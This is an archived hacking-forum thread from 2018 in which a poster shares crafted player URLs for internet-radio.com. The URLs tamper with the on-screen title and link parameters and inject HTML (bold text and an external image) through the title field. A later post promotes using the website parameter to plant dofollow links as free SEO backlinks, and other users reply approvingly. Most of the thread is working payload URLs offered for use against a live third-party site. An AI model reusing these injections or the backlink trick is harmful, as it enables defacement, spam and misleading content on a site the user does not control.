+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Website & Server Hacking (https://sinister.ly/Forum-Website-Server-Hacking)
+--- Thread: [INTERNET RADIO] Get parser vulnerable to screen data tampering (/Thread-INTERNET-RADIO-Get-parser-vulnerable-to-screen-data-tampering)
[INTERNET RADIO] Get parser vulnerable to screen data tampering - hacxx - 10-17-2018
Code:
https://www.internet-radio.com/player/?mount=http://66.70.187.44:9172/listen.pls?sid=1&title=Privateloader%20Radio%20-%20Music%20From%20Within%20The%20Harder%20Styles&website=http://www.privateloader.comMount: Point to any *.pls radio
Sid: Dummy control, active/desactive the player button
Title: On screen message
Website: Hyperlink to any website
Test Result:
http://bit.ly/2pSZzef
RE: [INTERNET RADIO] Get parser vulnerable to screen data tampering - hacxx - 10-17-2018
You can inject HTML in the title tag
Example
Code:
https://www.internet-radio.com/player/?mount=http://66.70.187.44:9172/listen.pls?sid=1&title=%3Cb%3EPrivateloader%20Radio%20-%20Music%20From%20Within%20The%20Harder%20Styles%3C/b%3E%3Cbr%3E%3Cbr%3E%3Cimg%20src=%27https://i.imgur.com/FVSF2KQ.jpg%27%3E&website=http://www.privateloader.comWhich will give you:
![[Image: ZjmUP7c.jpg]](https://i.imgur.com/ZjmUP7c.jpg)
RE: [INTERNET RADIO] Get parser vulnerable to screen data tampering - hacxx - 10-17-2018
Any link in the website tag request will result in a Dofollow link on the page. This page can be indexed and the result is a free backlink.
![[Image: RNRc6GZ.jpg]](https://i.imgur.com/RNRc6GZ.jpg)
RE: [INTERNET RADIO] Get parser vulnerable to screen data tampering - casperandersen - 10-17-2018
interresting
will look more into this
RE: [INTERNET RADIO] Get parser vulnerable to screen data tampering - Cr3aTor - 10-17-2018
Nice one bud, maybe this will be of use sometime.